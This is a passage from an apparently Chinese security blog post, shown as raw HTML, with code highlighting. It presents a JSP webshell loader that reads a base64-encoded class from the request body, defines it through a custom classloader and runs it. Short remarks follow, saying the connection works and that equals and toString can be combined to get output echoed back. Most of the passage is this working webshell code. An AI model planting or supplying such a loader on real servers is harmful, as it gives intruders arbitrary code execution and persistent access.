20px;font-size: 13px !important;white-space: inherit !important;"> b</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">length</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">public</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> base64Decode</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">throws</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Exception</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">try</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">forName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;sun.misc.BASE64Decoder&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[])</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;decodeBuffer&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">newInstance</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(),</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">catch</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Exception</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> e</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">forName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;java.util.Base64&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Object</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> decoder </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> clazz</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;getDecoder&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">            </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[])</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> decoder</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getMethod</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;decode&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">invoke</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">decoder</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> str</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%&gt;</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;%</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cls </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> request</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getReader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">readLine</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">();</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cls </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">out</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">print</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">new</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> U</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">this</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">g</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">base64Decode</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cls</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">newInstance</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">());</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%&gt;</span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">正常连接</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000455" data-ratio="0.578076525336091" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="967" src="https://wechat2rss.xlab.app/img-proxy/?k=fc9d8b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQ0Z4Pibu9Dicb4melvOhOoTB26J1q3as8icbRFOgdVoEO51xMCdX62Zvibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">并且equals跟toString可以同时使用，equals拿到request对象后，还可以同时通过toString获取回显。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: 